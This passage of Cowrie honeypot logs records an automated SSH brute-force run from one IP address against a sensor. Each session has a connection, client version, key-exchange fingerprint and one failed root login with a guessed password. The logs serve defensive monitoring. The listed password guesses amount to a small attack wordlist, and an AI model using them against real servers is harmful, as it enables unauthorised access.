h-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:54.143023Z","src_ip":"60.165.124.241","session":"aba82eb5edba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@123","message":"login attempt [root/Hello@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:54.900469Z","src_ip":"60.165.124.241","session":"aba82eb5edba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:56.154524Z","src_ip":"60.165.124.241","session":"aba82eb5edba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58780,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4290d506a20","protocol":"ssh","message":"New connection: 60.165.124.241:58780 (10.17.0.5:22) [session: a4290d506a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:56.386636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:56.394374Z","src_ip":"60.165.124.241","session":"a4290d506a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:56.641935Z","src_ip":"60.165.124.241","session":"a4290d506a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google.com","message":"login attempt [root/google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:57.379224Z","src_ip":"60.165.124.241","session":"a4290d506a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:58.634646Z","src_ip":"60.165.124.241","session":"a4290d506a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33424,"dst_ip":"10.17.0.5","dst_port":22,"session":"f71831ec3175","protocol":"ssh","message":"New connection: 60.165.124.241:33424 (10.17.0.5:22) [session: f71831ec3175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:58.879906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:58.885160Z","src_ip":"60.165.124.241","session":"f71831ec3175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:59.130657Z","src_ip":"60.165.124.241","session":"f71831ec3175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12301230","message":"login attempt [root/12301230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:59.882859Z","src_ip":"60.165.124.241","session":"f71831ec3175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:01.128983Z","src_ip":"60.165.124.241","session":"f71831ec3175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36612,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca34d61e6814","protocol":"ssh","message":"New connection: 60.165.124.241:36612 (10.17.0.5:22) [session: ca34d61e6814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:01.357398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:01.371246Z","src_ip":"60.165.124.241","session":"ca34d61e6814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:01.609281Z","src_ip":"60.165.124.241","session":"ca34d61e6814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Smart@123","message":"login attempt [root/Smart@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:02.335140Z","src_ip":"60.165.124.241","session":"ca34d61e6814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:03.577594Z","src_ip":"60.165.124.241","session":"ca34d61e6814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39812,"dst_ip":"10.17.0.5","dst_port":22,"session":"88651b1a1fd3","protocol":"ssh","message":"New connection: 60.165.124.241:39812 (10.17.0.5:22) [session: 88651b1a1fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:03.810306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:03.815274Z","src_ip":"60.165.124.241","session":"88651b1a1fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:04.053771Z","src_ip":"60.165.124.241","session":"88651b1a1fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xx123456","message":"login attempt [root/xx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:04.792008Z","src_ip":"60.165.124.241","session":"88651b1a1fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:06.040905Z","src_ip":"60.165.124.241","session":"88651b1a1fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42568,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d997a83c2f","protocol":"ssh","message":"New connection: 60.165.124.241:42568 (10.17.0.5:22) [session: 90d997a83c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:06.286127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:06.295868Z","src_ip":"60.165.124.241","session":"90d997a83c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:06.551183Z","src_ip":"60.165.124.241","session":"90d997a83c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfgh12","message":"login attempt [root/asdfgh12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:07.296945Z","src_ip":"60.165.124.241","session":"90d997a83c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:08.538454Z","src_ip":"60.165.124.241","session":"90d997a83c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45694,"dst_ip":"10.17.0.5","dst_port":22,"session":"1510db2955f5","protocol":"ssh","message":"New connection: 60.165.124.241:45694 (10.17.0.5:22) [session: 1510db2955f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:08.775823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:08.781215Z","src_ip":"60.165.124.241","session":"1510db2955f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:09.021356Z","src_ip":"60.165.124.241","session":"1510db2955f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01!","message":"login attempt [root/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:09.749798Z","src_ip":"60.165.124.241","session":"1510db2955f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:10.996442Z","src_ip":"60.165.124.241","session":"1510db2955f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48692,"dst_ip":"10.17.0.5","dst_port":22,"session":"29bb40dfc760","protocol":"ssh","message":"New connection: 60.165.124.241:48692 (10.17.0.5:22) [session: 29bb40dfc760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:11.266604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:11.272131Z","src_ip":"60.165.124.241","session":"29bb40dfc760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:11.536368Z","src_ip":"60.165.124.241","session":"29bb40dfc760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab@123123","message":"login attempt [root/Ab@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:12.329218Z","src_ip":"60.165.124.241","session":"29bb40dfc760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:13.587428Z","src_ip":"60.165.124.241","session":"29bb40dfc760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51948,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dea38e32226","protocol":"ssh","message":"New connection: 60.165.124.241:51948 (10.17.0.5:22) [session: 1dea38e32226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:13.807138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:13.813002Z","src_ip":"60.165.124.241","session":"1dea38e32226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:14.051749Z","src_ip":"60.165.124.241","session":"1dea38e32226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zsxntjsgzz#45112","message":"login attempt [root/Zsxntjsgzz#45112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:14.774647Z","src_ip":"60.165.124.241","session":"1dea38e32226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:16.016329Z","src_ip":"60.165.124.241","session":"1dea38e32226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54912,"dst_ip":"10.17.0.5","dst_port":22,"session":"65fa98ee2cb0","protocol":"ssh","message":"New connection: 60.165.124.241:54912 (10.17.0.5:22) [session: 65fa98ee2cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:16.249447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:16.266301Z","src_ip":"60.165.124.241","session":"65fa98ee2cb0","protocol":"ssh"}
